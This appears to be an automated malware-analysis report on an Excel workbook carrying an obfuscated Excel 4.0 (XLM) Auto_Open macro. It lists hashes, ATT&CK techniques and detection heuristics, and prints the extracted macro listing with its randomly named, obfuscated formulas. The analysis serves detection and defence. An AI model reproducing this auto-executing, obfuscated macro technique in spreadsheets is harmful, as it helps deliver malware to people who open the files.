Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 8b3529d3d4879f6f…

MALICIOUS

Office (OLE)

36.5 KB Created: 2020-11-27 11:45:56 Authoring application: Microsoft Excel First seen: 2021-08-20
MD5: 7da623dc4add39f91dd546ede282be42 SHA-1: 4dac874e39e59f4495b30412e1754f02dc0b5e04 SHA-256: 8b3529d3d4879f6f22b1492c94b1358dfbfabb8d12f4c0da884e1ce906e46e9f
142 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1203 Exploitation for Client Execution

The file contains Excel 4.0 macros, specifically an Auto_Open defined name, which is a critical finding. The presence of dangerous formula APIs like RUN indicates the macro is designed to execute commands. The obfuscated string constants and the overall structure suggest the macro is intended to download and execute a secondary payload, a common technique for malware delivery.

Heuristics 4

  • Excel 4.0 Auto_Open defined name critical OLE_XLM_AUTOOPEN_DEFINEDNAME
    oletools recovered an Auto_Open / Auto_Close entry from an Excel 4.0 macro sheet. The raw BIFF name can be tokenized or partially opaque to byte-string checks, but the recovered macro listing confirms the workbook has an XLM auto-execution entry.
  • XLM Auto_Open with dangerous formula APIs critical OLE_XLM_DANGEROUS_FN
    Excel 4.0 macro sheet contains an Auto_Open / Auto_Close entry and dangerous XLM formula APIs that can invoke programs, write files, or transfer control without VBA.
  • Excel 4.0 (XLM) macro sheet present medium OLE_XLM_AUTOOPEN
    Workbook contains an Excel 4.0 macro sheet sub-stream — XLM is rarely seen in modern legitimate workbooks and was a major Office malware vector during 2020-2022.
  • Suspicious extracted artifact info EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
xlm_macros.txt xlm-macro oletools.olevba.extract_all_macros (XLM macro listing) 6878 bytes
SHA-256: 7c4bccbfff5a62a754c39bab4cccd4da0436e321b073d31cc6d420ff14adcdf2
Detection
ClamAV: No threats found
Obfuscation or payload: likely
21 of 40 identifiers look randomly generated (e.g. 'CGDWdMuOcsaT') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
' 0085     14 BOUNDSHEET : Sheet Information - worksheet or dialog sheet, visible -  Sheet
' 0085     19 BOUNDSHEET : Sheet Information - Excel 4.0 macro sheet, visible -  FflExpSocc
' 0018     23 LABEL : Cell Value, String Constant - built-in-name 1 Auto_Open len=7 ptgRef3d  Sheet!G156 
' 0018     27 LABEL : Cell Value, String Constant - CbSzovWatJTQ len=0 
' 0018     27 LABEL : Cell Value, String Constant - CGDWdMuOcsaT len=0 
' 0018     21 LABEL : Cell Value, String Constant - CRKKoq len=0 
' 0018     24 LABEL : Cell Value, String Constant - dENtorCBS len=0 
' 0018     27 LABEL : Cell Value, String Constant - eEthETqIqQwj len=0 
' 0018     23 LABEL : Cell Value, String Constant - FcZERurJ len=0 
' 0018     25 LABEL : Cell Value, String Constant - ikjKmrRawK len=0 
' 0018     23 LABEL : Cell Value, String Constant - iwSxPoRN len=0 
' 0018     26 LABEL : Cell Value, String Constant - IXGKJXrHTrl len=0 
' 0018     24 LABEL : Cell Value, String Constant - oiUClkiLV len=0 
' 0018     21 LABEL : Cell Value, String Constant - spKWfX len=0 
' 0018     22 LABEL : Cell Value, String Constant - TgpIrSu len=0 
' 0018     22 LABEL : Cell Value, String Constant - ucDzjKK len=0 
' 0018     26 LABEL : Cell Value, String Constant - vXBeRAmsTLQ len=0 
' 0018     26 LABEL : Cell Value, String Constant - WbwYfpfMGaV len=0 
' 0018     25 LABEL : Cell Value, String Constant - wFysvjMZxz len=0 
' 0018     24 LABEL : Cell Value, String Constant - xLFTVpOCL len=0 
' 0018     22 LABEL : Cell Value, String Constant - zIAKHnK len=0 
' 0018     26 LABEL : Cell Value, String Constant - ZiMwIpLntbY len=0 
' 0018     23 LABEL : Cell Value, String Constant - ZnaTlqux len=0 
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 002a      2 PRINTHEADERS : Print Row/Column Labels
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' 00fd     10 LABELSST : Cell Value, String Constant/ SST
' Sheet,Reference,Formula,Value
'  FflExpSocc,P63,"",336.00000000000000000000
'  FflExpSocc,P64,"",-4.00000000000000000000
'  FflExpSocc,P65,"",-863.00000000000000000000
'  FflExpSocc,P66,"",-557.00000000000000000000
'  FflExpSocc,P67,"",-739.00000000000000000000
'  FflExpSocc,G68,"SET.NAME("CGDWdMuOcsaT",0+VALUE("0"))",""
'  FflExpSocc,P68,"",-900.00000000000000000000
'  FflExpSocc,G70,"SET.NAME("iwSxPoRN",CGDWdMuOcsaT)",""
'  FflExpSocc,G72,"SET.NAME("eEthETqIqQwj",CGDWdMuOcsaT)",""
'  FflExpSocc,G75,"SET.NAME("FcZERurJ",COUNTA(ZnaTlqux))",""
'  FflExpSocc,G78,"SET.NAME("WbwYfpfMGaV",COUNTA(wFysvjMZxz))",""
'  FflExpSocc,G83,[],""
'  FflExpSocc,G88,"SET.NAME("IXGKJXrHTrl","")",""
'  FflExpSocc,G91,"iwSxPoRN",""
'  FflExpSocc,G95,"SET.NAME("spKWfX",HLOOKUP("*",ZnaTlqux,iwSxPoRN,FALSE))",""
'  FflExpSocc,G97,"dENtorCBS",""
'  FflExpSocc,G101,"SET.NAME("CbSzovWatJTQ",CGDWdMuOcsaT)",""
'  FflExpSocc,G103,[],""
'  FflExpSocc,G105,"CbSzovWatJTQ",""
'  FflExpSocc,G107,"CRKKoq",""
'  FflExpSocc,G112,"ZiMwIpLntbY",""
'  FflExpSocc,G116,"zIAKHnK",""
'  FflExpSocc,G121,"SET.NAME("xLFTVpOCL",VALUE(HLOOKUP("*",wFysvjMZxz,zIAKHnK,FALSE)))",""
'  FflExpSocc,G126,"ucDzjKK",""
'  FflExpSocc,G130,"IXGKJXrHTrl",""
'  FflExpSocc,G132,"eEthETqIqQwj",""
'  FflExpSocc,G136,NEXT(),""
'  FflExpSocc,G140,"oiUClkiLV",""
'  FflExpSocc,G142,[],""
'  FflExpSocc,G144,"TgpIrSu",""
'  FflExpSocc,G149,NEXT(),""
'  FflExpSocc,G153,RETURN(),""
'  FflExpSocc,G180,"SET.NAME("vXBeRAmsTLQ",G68)",""
'  FflExpSocc,G184,"ZnaTlqux",""
'  FflExpSocc,G189,"SET.NAME("wFysvjMZxz",R79C14)",""
'  FflExpSocc,G193,"SET.NAME("TgpIrSu",204)",""
'  FflExpSocc,G198,"SET.NAME("ikjKmrRawK",7)",""
'  FflExpSocc,G203,vXBeRAmsTLQ(),""
'  FflExpSocc,G204,HALT(),""

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